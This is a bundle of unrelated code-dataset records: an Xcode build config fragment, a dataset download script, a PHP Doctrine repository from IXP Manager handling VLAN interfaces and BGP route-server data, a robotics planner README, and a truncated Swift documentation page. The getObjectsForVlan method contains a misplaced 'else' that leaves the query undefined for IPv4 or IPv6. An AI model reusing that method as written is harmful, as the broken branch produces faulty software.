\"${PODS_ROOT}/Headers/Public/BAButton\" \"${PODS_ROOT}/Headers/Public/DZNEmptyDataSet\" \"${PODS_ROOT}/Headers/Public/FBRetainCycleDetector\" \"${PODS_ROOT}/Headers/Public/IQKeyboardManager\" \"${PODS_ROOT}/Headers/Public/JMRoundedCorner\" \"${PODS_ROOT}/Headers/Public/MBProgressHUD\" \"${PODS_ROOT}/Headers/Public/MJExtension\" \"${PODS_ROOT}/Headers/Public/MJRefresh\" \"${PODS_ROOT}/Headers/Public/MLeaksFinder\" \"${PODS_ROOT}/Headers/Public/Masonry\" \"${PODS_ROOT}/Headers/Public/NullSafe\" \"${PODS_ROOT}/Headers/Public/SDAutoLayout\" \"${PODS_ROOT}/Headers/Public/SDWebImage\"\nOTHER_LDFLAGS = -framework \"CoreGraphics\" -framework \"MobileCoreServices\" -framework \"Security\" -framework \"SystemConfiguration\"\nPODS_BUILD_DIR = $BUILD_DIR\nPODS_CONFIGURATION_BUILD_DIR = $PODS_BUILD_DIR/$(CONFIGURATION)$(EFFECTIVE_PLATFORM_NAME)\nPODS_ROOT = ${SRCROOT}\nPRODUCT_BUNDLE_IDENTIFIER = org.cocoapods.${PRODUCT_NAME:rfc1034identifier}\nSKIP_INSTALL = YES\n"} {"text": "wget https://download.visinf.tu-darmstadt.de/data/denoising_datasets/Set12.zip\nunzip Set12.zip\nrm Set12.zip"} {"text": "<?php\n\n/*\n * Copyright (C) 2009 - 2019 Internet Neutral Exchange Association Company Limited By Guarantee.\n * All Rights Reserved.\n *\n * This file is part of IXP Manager.\n *\n * IXP Manager is free software: you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the Free\n * Software Foundation, version v2.0 of the License.\n *\n * IXP Manager is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GpNU General Public License for\n * more details.\n *\n * You should have received a copy of the GNU General Public License v2.0\n * along with IXP Manager. If not, see:\n *\n * http://www.gnu.org/licenses/gpl-2.0.html\n */\n\nnamespace Repositories;\n\nuse DB;\n\nuse Doctrine\\ORM\\EntityRepository;\n\nuse Entities\\{\n Layer2Address as Layer2AddressEntity,\n Router as RouterEntity,\n Vlan as VlanEntity,\n VlanInterface as VlanInterfaceEntity\n};\n\nuse IXP\\Exceptions\\GeneralException as IXP_Exception;\n\n/**\n * VlanInterface\n *\n * This class was generated by the Doctrine ORM. Add your own custom\n * repository methods below.\n */\nclass VlanInterface extends EntityRepository\n{\n\n /**\n * Utility function to provide an array of all VLAN interfaces on a given\n * VLAN for a given protocol.\n *\n * Returns an array of elements such as:\n *\n * [\n * [cid] => 999\n * [cname] => Customer Name\n * [abrevcname] => Abbreviated Customer Name\n * [cshortname] => shortname\n * [autsys] => 65500\n * [gmaxprefixes] => 20 // from cust table (global)\n * [peeringmacro] => ABC\n * [peeringmacrov6] => ABC\n * [vid] => 2\n * [vtag] => 10,\n * [vname] => \"Peering LAN #1\n * [viid] => 120\n * [vliid] => 159\n * [canping] => 1\n * [enabled] => 1 // VLAN interface enabled for requested protocol?\n * [address] => 192.0.2.123 // assigned address for requested protocol?\n * [monitorrcbgp] => 1\n * [bgpmd5secret] => qwertyui // MD5 for requested protocol\n * [hostname] => hostname // Hostname\n * [maxbgpprefix] => 20 // VLAN interface max prefixes\n * [as112client] => 1 // if the member is an as112 client or not\n * [rsclient] => 1 // if the member is a route server client or not\n * [rsmorespecifics] => 0/1 // if IRRDB filtering should allow more specifics\n * [busyhost]\n * [sid]\n * [sname]\n * [cabid]\n * [cabname]\n * [location_name]\n * [location_tag]\n * [location_shortname]\n * ]\n *\n * @param \\Entities\\Vlan $vlan The VLAN\n * @param int $proto Either 4 or 6\n * @param int $pistatus The status of the physical interface\n * @return array As defined above.\n * @throws IXP_Exception On bad / no protocol\n */\n public function getForProto( $vlan, $proto, $pistatus = \\Entities\\PhysicalInterface::STATUS_CONNECTED )\n {\n if( !in_array( $proto, [ 4, 6 ] ) )\n throw new IXP_Exception( 'Invalid protocol specified' );\n\n\n $qstr = \"SELECT c.id AS cid, \n c.name AS cname, \n c.abbreviatedName AS abrevcname, \n c.shortname AS cshortname, \n c.autsys AS autsys, \n c.maxprefixes AS gmaxprefixes, \n c.peeringmacro AS peeringmacro, \n c.peeringmacrov6 AS peeringmacrov6,\n \n v.id AS vid,\n v.number AS vtag,\n v.name AS vname,\n vi.id AS viid, \n\n vli.id AS vliid, \n \n vli.ipv{$proto}enabled AS enabled, \n vli.ipv{$proto}hostname AS hostname, \n vli.ipv{$proto}monitorrcbgp AS monitorrcbgp, \n vli.ipv{$proto}bgpmd5secret AS bgpmd5secret, \n vli.maxbgpprefix AS maxbgpprefix,\n vli.as112client AS as112client,\n vli.rsclient AS rsclient, \n vli.busyhost AS busyhost, \n vli.irrdbfilter AS irrdbfilter,\n vli.rsmorespecifics AS rsmorespecifics,\n vli.ipv{$proto}canping AS canping,\n \n addr.address AS address,\n \n s.id AS sid,\n s.name AS sname,\n \n cab.id AS cabid,\n cab.name AS cabname,\n \n l.id AS location_id,\n l.name AS location_name, \n l.shortname AS location_shortname, \n l.tag AS location_tag\n \n FROM Entities\\VlanInterface vli\n LEFT JOIN vli.VirtualInterface vi\n LEFT JOIN vli.IPv{$proto}Address addr\n LEFT JOIN vi.Customer c\n LEFT JOIN vi.PhysicalInterfaces pi\n LEFT JOIN pi.SwitchPort sp\n LEFT JOIN sp.Switcher s\n LEFT JOIN s.Cabinet cab\n LEFT JOIN cab.Location l\n LEFT JOIN vli.Vlan v\n WHERE\n v = :vlan\n AND \" . Customer::DQL_CUST_ACTIVE . \"\n AND \" . Customer::DQL_CUST_CURRENT . \"\n AND \" . Customer::DQL_CUST_TRAFFICING . \"\n AND pi.status = :pistatus\n \n GROUP BY \n vli.id, c.id, c.name, c.abbreviatedName, c.shortname, c.autsys,\n c.maxprefixes, c.peeringmacro, c.peeringmacrov6,\n vli.ipv{$proto}enabled, addr.address, vli.ipv{$proto}bgpmd5secret, vli.maxbgpprefix,\n vli.ipv{$proto}hostname, vli.ipv{$proto}monitorrcbgp, vli.busyhost,\n vli.as112client, vli.rsclient, vli.irrdbfilter, vli.ipv{$proto}canping,\n s.id, s.name,\n cab.id, cab.name,\n l.name, l.shortname, l.tag\n \";\n\n $qstr .= \" ORDER BY c.autsys ASC, vli.id ASC\";\n\n $q = $this->getEntityManager()->createQuery( $qstr );\n $q->setParameter( 'vlan', $vlan );\n $q->setParameter( 'pistatus', $pistatus );\n return $q->getArrayResult();\n }\n\n\n /**\n * Utility function to provide an array of VLAN interface objects on a given VLAN.\n *\n * @param \\Entities\\Vlan $vlan The VLAN to gather VlanInterfaces for\n * @return \\Entities\\VlanInterface[] Indexed by VlanInterface ID\n */\n public function getObjectsForVlan( $vlan, $protocol = null )\n {\n if( in_array( $protocol, [ 4, 6 ] ) ) {\n $pq = \" AND vli.ipv{$protocol}enabled = 1\";\n } else\n\n $qstr = \"SELECT vli\n FROM Entities\\VlanInterface vli\n JOIN vli.Vlan v\n JOIN vli.VirtualInterface vi\n JOIN vi.PhysicalInterfaces pi\n JOIN vi.Customer c\n\n WHERE\n v = :vlan\n AND \" . Customer::DQL_CUST_ACTIVE . \"\n AND \" . Customer::DQL_CUST_CURRENT . \"\n AND \" . Customer::DQL_CUST_TRAFFICING . \"\n AND \" . Customer::DQL_CUST_EXTERNAL . \"\n AND pi.status = \" . \\Entities\\PhysicalInterface::STATUS_CONNECTED . ( $pq ?? '' ) . \"\n\n ORDER BY c.name ASC\";\n\n $q = $this->getEntityManager()->createQuery( $qstr );\n $q->setParameter( 'vlan', $vlan );\n\n $vlis = [];\n foreach( $q->getResult() as $vli )\n $vlis[ $vli->getId() ] = $vli;\n\n return $vlis;\n }\n\n\n /**\n * Utility function to provide an array of all VLAN interface objects for a given\n * customer at an optionally given IXP.\n *\n * @param \\Entities\\Customer $customer The customer\n * @return \\Entities\\VlanInterface[] Index by the VlanInterface ID\n */\n public function getForCustomer( $customer )\n {\n $qstr = \"SELECT vli\n FROM Entities\\\\VlanInterface vli\n JOIN vli.VirtualInterface vi\n JOIN vi.Customer c\n JOIN vli.Vlan v\n WHERE c = :customer\n ORDER BY v.number\";\n\n $q = $this->getEntityManager()->createQuery( $qstr );\n $q->setParameter( 'customer', $customer );\n\n $vlis = [];\n\n foreach( $q->getResult() as $vli ) {\n $vlis[ $vli->getId() ] = $vli;\n }\n\n return $vlis;\n }\n\n\n /**\n * Utility function to get and return active VLAN interfaces on the requested protocol\n * suitable for route collector / server configuration.\n *\n * Sample return:\n *\n * [\n * [cid] => 999\n * [cname] => Customer Name\n * [cshortname] => shortname\n * [autsys] => 65000\n * [peeringmacro] => QWE // or AS65500 if not defined\n * [vliid] => 159\n * [fvliid] => 00159 // formatted %05d\n * [address] => 192.0.2.123\n * [bgpmd5secret] => qwertyui // or false\n * [as112client] => 1 // if the member is an as112 client or not\n * [rsclient] => 1 // if the member is a route server client or not\n * [maxprefixes] => 20\n * [irrdbfilter] => 0/1 // if IRRDB filtering should be applied\n * [rsmorespecifics] => 0/1 // if IRRDB filtering should allow more specifics\n * [location_name] => Interxion DUB1\n * [location_shortname] => IX-DUB1\n * [location_tag] => ix1\n * ]\n *\n * @param Vlan $vlan\n * @return array As defined above\n * @throws \\Exception\n */\n public function sanitiseVlanInterfaces( VlanEntity $vlan, int $protocol = 4, int $target = RouterEntity::TYPE_ROUTE_SERVER, bool $quarantine = false ): array {\n\n $ints = $this->getForProto( $vlan, $protocol,\n $quarantine ? \\Entities\\PhysicalInterface::STATUS_QUARANTINE : \\Entities\\PhysicalInterface::STATUS_CONNECTED\n );\n\n $newints = [];\n\n foreach( $ints as $int )\n {\n if( !$int['enabled'] ) {\n continue;\n }\n\n $int['protocol'] = $protocol;\n\n // don't need this anymore:\n unset( $int['enabled'] );\n\n if( $target == RouterEntity::TYPE_ROUTE_SERVER && !$int['rsclient'] ) {\n continue;\n }\n\n if( $target == RouterEntity::TYPE_AS112 && !$int['as112client'] ) {\n continue;\n }\n\n $int['fvliid'] = sprintf( '%04d', $int['vliid'] );\n\n if( $int['maxbgpprefix'] && $int['maxbgpprefix'] > $int['gmaxprefixes'] ) {\n $int['maxprefixes'] = $int['maxbgpprefix'];\n } else {\n $int['maxprefixes'] = $int['gmaxprefixes'];\n }\n\n if( !$int['maxprefixes'] ) {\n $int['maxprefixes'] = 250;\n }\n\n unset( $int['gmaxprefixes'] );\n unset( $int['maxbgpprefix'] );\n\n if( $protocol == 6 && $int['peeringmacrov6'] ) {\n $int['peeringmacro'] = $int['peeringmacrov6'];\n }\n\n if( !$int['peeringmacro'] ) {\n $int['peeringmacro'] = 'AS' . $int['autsys'];\n }\n\n unset( $int['peeringmacrov6'] );\n\n if( !$int['bgpmd5secret'] ) {\n $int['bgpmd5secret'] = false;\n }\n\n $int['allpeeringips'] = $this->getAllIPsForASN( $vlan, $int['autsys'], $protocol );\n\n if( $int['irrdbfilter'] ) {\n $int['irrdbfilter_prefixes'] = d2r( 'IrrdbPrefix' )->getForCustomerAndProtocol( $int[ 'cid' ], $protocol, true );\n $int['irrdbfilter_asns' ] = d2r( 'IrrdbAsn' )->getForCustomerAndProtocol( $int[ 'cid' ], $protocol, true );\n }\n\n $newints[ $int['address'] ] = $int;\n }\n\n return $newints;\n }\n\n\n /**\n * Find all IP addresses on a given VLAN for a given ASN and protocol.\n *\n * This is used (for example) when generating router configuration\n * which prevents next-hop hijacking but allows the same ASN to\n * set its other IPs as the next hop.\n *\n * @param VlanEntity $v\n * @param int $asn\n * @param int $proto\n * @return array Array of IP addresses [ '192.0.2.2', '192.0.2.23', ]\n * @throws \\Exception\n */\n public function getAllIPsForASN( VlanEntity $v, int $asn, int $proto ): array\n {\n if( !in_array( $proto, [4,6] ) ) {\n throw new \\Exception( 'Invalid inet protocol' );\n }\n\n $ipe = \"IPv{$proto}Address\";\n\n $dql = \"SELECT ip.address AS ipaddress\n \n FROM Entities\\Vlan v\n LEFT JOIN v.VlanInterfaces vli\n LEFT JOIN vli.{$ipe} ip\n LEFT JOIN vli.VirtualInterface vi\n LEFT JOIN vi.Customer c\n \n WHERE c.autsys = :asn AND v = :vlan\";\n\n $q = $this->getEntityManager()->createQuery( $dql )\n ->setParameter( 'asn', $asn )\n ->setParameter( 'vlan', $v );\n\n $ips = array_column( $q->getScalarResult(), 'ipaddress' );\n $vips = [];\n\n foreach( $ips as $ip ) {\n if( filter_var( $ip, FILTER_VALIDATE_IP ) ) {\n $vips[] = $ip;\n }\n }\n\n return $vips;\n }\n\n\n /**\n * Provide array of vlan interfaces for the list Action\n *\n * @param int $id The VlanInterface to find\n * @return array array of vlan interfaces\n */\n public function getForList( int $id = null )\n {\n $dql = \"SELECT vli.id AS id, vli.mcastenabled AS mcastenabled,\n vli.ipv4enabled AS ipv4enabled, vli.ipv4hostname AS ipv4hostname, vli.ipv4canping AS ipv4canping,\n vli.ipv4monitorrcbgp AS ipv4monitorrcbgp, vli.ipv4bgpmd5secret AS ipv4bgpmd5secret,\n vli.ipv6enabled AS ipv6enabled, vli.ipv6hostname AS ipv6hostname, vli.ipv6canping AS ipv6canping,\n vli.ipv6monitorrcbgp AS ipv6monitorrcbgp, vli.ipv6bgpmd5secret AS ipv6bgpmd5secret,\n vli.irrdbfilter AS irrdbfilter, vli.bgpmd5secret AS bgpmd5secret, vli.maxbgpprefix AS maxbgpprefix,\n vli.as112client AS as112client, vli.busyhost AS busyhost, vli.notes AS notes,\n vli.rsclient AS rsclient,\n ip4.address AS ipv4, ip6.address AS ipv6,\n v.id AS vlanid, v.name AS vlan,\n vi.id AS vintid,\n c.name AS customer, c.id AS custid\n FROM \\\\Entities\\\\VlanInterface vli\n LEFT JOIN vli.VirtualInterface vi\n LEFT JOIN vli.Vlan v\n LEFT JOIN vli.IPv4Address ip4\n LEFT JOIN vli.IPv6Address ip6\n LEFT JOIN vi.Customer c\";\n\n if( $id ){\n $dql .= \" WHERE vli.id = $id \";\n }\n\n\n $q = $this->getEntityManager()->createQuery( $dql );\n return $q->getArrayResult();\n }\n\n /**\n * Get vli id / mac address mapping from macaddress table for sflow data processing\n *\n * Returns a hash as follows:\n *\n * {\n * '$infrastructure' => {\n * '$vlan' => {\n * '$mac' => $vliid\n * '$mac' => $vliid\n * }\n * }\n * }\n *\n * @return mixed\n */\n public function sflowLearnedMacsHash(): array\n {\n return $this->getEntityManager()->createQuery(\n \"SELECT DISTINCT vli.id AS vliid, ma.mac AS mac, vl.number as tag, i.id as infrastructure\n FROM Entities\\VirtualInterface vi\n LEFT JOIN vi.VlanInterfaces vli\n JOIN vi.MACAddresses ma\n LEFT JOIN vli.Vlan vl\n LEFT JOIN vl.Infrastructure i\n WHERE ma.mac IS NOT NULL\n AND vli.id IS NOT NULL\n ORDER BY vliid\"\n )->getArrayResult();\n }\n\n /**\n * Get vli id / mac address mapping from macaddress table for sflow data processing\n *\n * Returns a hash as follows:\n *\n * {\n * '$infrastructure' => {\n * '$vlan' => {\n * '$mac' => $vliid\n * '$mac' => $vliid\n * }\n * }\n * }\n *\n * @return mixed\n */\n public function sflowConfiguredMacsHash(): array\n {\n return $this->getEntityManager()->createQuery(\n \"SELECT DISTINCT vli.id AS vliid, l2a.mac AS mac, vl.number as tag, i.id as infrastructure\n FROM Entities\\VlanInterface vli\n LEFT JOIN vli.VirtualInterface vi\n LEFT JOIN vli.layer2Addresses l2a\n LEFT JOIN vli.Vlan vl\n LEFT JOIN vl.Infrastructure i\n WHERE l2a.mac IS NOT NULL\n ORDER BY vliid\"\n )->getArrayResult();\n }\n\n\n /**\n * Utility function to copy all l2a's from one vli to another\n *\n * @param VlanInterfaceEntity $s Source VLI for l2a's\n * @param VlanInterfaceEntity $d Destinatin VLI for copied l2a's\n * @return VlanInterface\n */\n public function copyLayer2Addresses( VlanInterfaceEntity $s, VlanInterfaceEntity $d ): VlanInterface {\n foreach( $s->getLayer2Addresses() as $l2a ) {\n $n = new Layer2AddressEntity();\n $n->setVlanInterface( $d );\n $d->addLayer2Address( $n );\n $n->setMac( $l2a->getMac() );\n $this->getEntityManager()->persist( $n );\n }\n\n return $this;\n }\n\n\n /**\n * Get statistics of RS clients / total on a per VLAN basis\n *\n * Returns an array of objects such as:\n *\n * [\n * {\n * +\"vlanname\": \"Peering VLAN #1\",\n * ++\"overall_count\": 60,\n * ++\"rsclient_count\": \"54\",\n * }\n * ]\n *\n * @return array\n */\n public function getRsClientUsagePerVlan(): array\n {\n return DB::select('SELECT v.name AS vlanname, COUNT(vli.id) AS overall_count, SUM(vli.rsclient = 1) AS rsclient_count\n FROM `vlaninterface` AS vli\n LEFT JOIN virtualinterface AS vi ON vli.virtualinterfaceid = vi.id\n LEFT JOIN cust AS c ON vi.custid = c.id\n LEFT JOIN vlan AS v ON vli.vlanid = v.id\n WHERE v.`private` = 0 AND c.type IN (1,4)\n GROUP BY vlanname'\n );\n }\n\n /**\n * Get statistics of ipv6 enabled / total on a per VLAN basis\n *\n * Returns an array of objects such as:\n *\n * [\n * {\n * +\"vlanname\": \"Peering VLAN #1\",\n * ++\"overall_count\": 60,\n * ++\"ipv6_count\": \"54\",\n * }\n * ]\n *\n * @return array\n */\n public function getIPv6UsagePerVlan(): array\n {\n return DB::select('SELECT v.name AS vlanname, COUNT(vli.id) AS overall_count, SUM(vli.ipv6enabled = 1) AS ipv6_count\n FROM `vlaninterface` AS vli\n LEFT JOIN virtualinterface AS vi ON vli.virtualinterfaceid = vi.id\n LEFT JOIN cust AS c ON vi.custid = c.id\n LEFT JOIN vlan AS v ON vli.vlanid = v.id\n WHERE v.`private` = 0 AND c.type IN (1,4)\n GROUP BY vlanname'\n );\n }\n}\n"} {"text": "# Receding Horizon Next Best View Planning\n\nThe next best view planner is a real-time capable exploration path planner. From the current pose it expands a tree to find a next pose that gives a high exploration gain. This gain reflects the exploration of space that is not yet (sufficiently) known. As the vehicle proceeds on the path, the tree is recomputed, taking into account the new information from the sensor.\n\nThis README gives a short overview. For more information refer to the [wiki](https://github.com/ethz-asl/nbvplanner/wiki).\n\n# Planner installation and execution\n\nTo run the current version, compile the package nbvplanner. To get it navigate to the source folder of your ros workspace:\n\n```sh\ngit clone https://github.com/ethz-asl/nbvplanner.git\ncd nbvplanner\ngit submodule init --\ngit submodule sync --recursive\ngit submodule update --recursive\ncd ..\n```\n\nMoreover, make sure you have all the necessary libraries:\n```sh\napt-get install ros-<distro>-octomap-*\napt-get install python-catkin-tools\ncatkin build\n```\n\nFor a simulation demo launch\n\n```sh\nroslaunch interface_nbvp_rotors flat_exploration.launch\n```\n\nTested under ROS Indigo and Jade.\n\nFurther instructions for the visualization of the exploration progress, as well as more demo scenarios and descriptions of the parameters can be found in the [wiki](https://github.com/ethz-asl/nbvplanner/wiki).\n\n\nIf you use this software in a scientific publication, please cite the following paper:\n```\n@inproceedings{bircher2016receding,\n title={Receding horizon \"next-best-view\" planner for 3D exploration},\n author={Bircher, Andreas and Kamel, Mina and Alexis, Kostas and Oleynikova, Helen and Siegwart, Roland},\n booktitle={2016 IEEE International Conference on Robotics and Automation (ICRA)},\n pages={1462--1468},\n year={2016},\n organization={IEEE}\n}\n```\n\n# Credits\n\nThis algorithm was developed by [Andreas Bircher](mailto:bircher@gmx.ch) with the help and support of the members of the [Autonomous Systems Lab](http://www.asl.ethz.ch). The work was supported by the European Commission-funded project [AEROWORKS](http://www.aeroworks2020.eu/).\n\n# Contact\n\nYou can contact us for any question or remark:\n* [Andreas Bircher](mailto:bircher@gmx.ch)\n* [Kostas Alexis](mailto:konstantinos.alexis@mavt.ethz.ch)\n"} {"text": "<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <title>AnyPlasticNodeDescription Protocol Reference</title>\n <link rel=\"stylesheet\" type=\"text/css\" href=\"../css/jazzy.css\" />\n <link rel=\"stylesheet\" type=\"text/css\" href=\"../css/highlight.css\" />\n <meta charset='utf-8'>\n <script src=\"../js/jquery.min.js\" defer></script>\n <script src=\"../js/jazzy.js\" defer></script>\n \n </head>\n <body>\n <a name=\"//apple_ref/swift/Protocol/AnyPlasticNodeDescription\" class=\"dashAnchor\"></a>\n <a title=\"AnyPlasticNodeDescription Protocol Reference\"></a>\n <header>\n <div class=\"content-wrapper\">\n <p><a href=\"../index.html\">Katana Docs</a> (99% documented)</p>\n <p class=\"header-right\"><a href=\"https://github.com/BendingSpoons/katana-swift\"><img src=\"../img/gh.png\"/>View on GitHub</a></p>\n </div>\n </header>\n <div class=\"content-wrapper\">\n <p id=\"breadcrumbs\">\n <a href=\"../index.html\">Katana Reference</a>\n <img id=\"carat\" src=\"../img/carat.png\" />\n AnyPlasticNodeDescription Protocol Reference\n </p>\n </div>\n <div class=\"content-wrapper\">\n <nav class=\"sidebar\">\n <ul class=\"nav-groups\">\n <li class=\"nav-group-name\">\n <a href=\"../Classes.html\">Classes</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Classes/EmptySideEffectDependencyContainer.html\">EmptySideEffectDependencyContainer</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/Node.html\">Node</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/PlasticNode.html\">PlasticNode</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/PlasticView.html\">PlasticView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/Renderer.html\">Renderer</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/StateMockProvider.html\">StateMockProvider</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/Store.html\">Store</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/ViewsContainer.html\">ViewsContainer</a>\n </li>\n </ul>\n </li>\n <li class=\"nav-group-name\">\n <a href=\"../Enums.html\">Enums</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Enums/AnimationType.html\">AnimationType</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Enums/AsyncActionState.html\">AsyncActionState</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Enums.html#/s:O6Katana9EmptyKeys\">EmptyKeys</a>\n </li>\n </ul>\n </li>\n <li class=\"nav-group-name\">\n <a href=\"../Extensions.html\">Extensions</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Extensions/Array.html\">Array</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Extensions/CGSize.html\">CGSize</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Extensions/UIView.html\">UIView</a>\n </li>\n </ul>\n </li>\n <li class=\"nav-group-name\">\n <a href=\"../Protocols.html\">Protocols</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/Action.html\">Action</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/ActionWithSideEffect.html\">ActionWithSideEffect</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/AnyAsyncAction.html\">AnyAsyncAction</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/AnyConnectedNodeDescription.html\">AnyConnectedNodeDescription</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/AnyNode.html\">AnyNode</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/AnyNodeDescription.html\">AnyNodeDescription</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/AnyNodeDescriptionProps.html\">AnyNodeDescriptionProps</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/AnyNodeDescriptionWithChildren.html\">AnyNodeDescriptionWithChildren</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/AnyNodeDescriptionWithRefProps.html\">AnyNodeDescriptionWithRefProps</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/AnyPlasticNodeDescription.html\">AnyPlasticNodeDescription</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/AnyPlatformNativeViewWithRef.html\">AnyPlatformNativeViewWithRef</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/AnyStore.html\">AnyStore</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/AsyncAction.html\">AsyncAction</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/Childrenable.html\">Childrenable</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/ConnectedNodeDescription.html\">ConnectedNodeDescription</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/LinkeableAction.html\">LinkeableAction</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/NativeViewRef.html\">NativeViewRef</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/NativeViewWithRef.html\">NativeViewWithRef</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/NodeDescription.html\">NodeDescription</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/NodeDescriptionProps.html\">NodeDescriptionProps</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/NodeDescriptionState.html\">NodeDescriptionState</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/NodeDescriptionWithChildren.html\">NodeDescriptionWithChildren</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols.html#/s:P6Katana22NodeDescriptionWithRef\">NodeDescriptionWithRef</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/NodeDescriptionWithRefProps.html\">NodeDescriptionWithRefProps</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/PlasticNodeDescription.html\">PlasticNodeDescription</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/PlasticReferenceSizeable.html\">PlasticReferenceSizeable</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/PlatformNativeView.html\">PlatformNativeView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/SideEffectDependencyContainer.html\">SideEffectDependencyContainer</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/State.html\">State</a>\n </li>\n </ul>\n </li>\n <li class=\"nav-group-name\">\n <a href=\"../Structs.html\">Structs</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Structs/ActionLinker.html\">ActionLinker</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/ActionLinks.html\">ActionLinks</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/Anchor.html\">Anchor</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/Anchor/Kind.html\">– Kind</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/Animation.html\">Animation</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/AnimationContainer.html\">AnimationContainer</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/AnimationOptions.html\">AnimationOptions</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/AnimationProps.html\">AnimationProps</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/ChildrenAnimations.html\">ChildrenAnimations</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/EdgeInsets.html\">EdgeInsets</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/EmptyProps.html\">EmptyProps</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/EmptyState.html\">EmptyState</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/Size.html\">Size</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Structs/Value.html\">Value</a>\n </li>\n </ul>\n </li>\n <li class=\"nav-group-name\">\n <a href=\"../Typealiases.html\">Typealiases</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Typealiases.html#/s:6Katana25AnimationPropsTransformer\">AnimationPropsTransformer</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Typealiases.html#/s:6Katana21AnyRefCallbackClosure\">AnyRefCallbackClosure</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Typealiases.html#/s:6Katana20NodeUpdateCompletion\">NodeUpdateCompletion</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Typealiases.html#/s:6Katana18RefCallbackClosure\">RefCallbackClosure</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Typealiases.html#/s:6Katana13StoreDispatch\">StoreDispatch</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Typealiases.html#/s:6Katana13StoreListener\">StoreListener</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Typealiases.html#/s:6Katana15StoreMiddleware\">StoreMiddleware</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Typealiases.html#/s:6Katana16StoreUnsubscribe\">StoreUnsubscribe</a>\n </li>\n </ul>\n </li>\n <li class=\"nav-group-name\">\n <a href=\"../Associated Types.html\">Associated Types</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Associated Types.html#/s:P6Katana27NodeDescriptionWithChildren9PropsType\">PropsType</a>\n </li>\n </ul>\n </li>\n </ul>\n </nav>\n <article class=\"main-content\">\n <section>\n <section class=\"section\">\n <h1>AnyPlasticNodeDescription</h1>\n <div class=\"declaration\">\n <div class=\"language\">\n <pre class=\"highlight\"><code><span class=\"kd\">public</span> 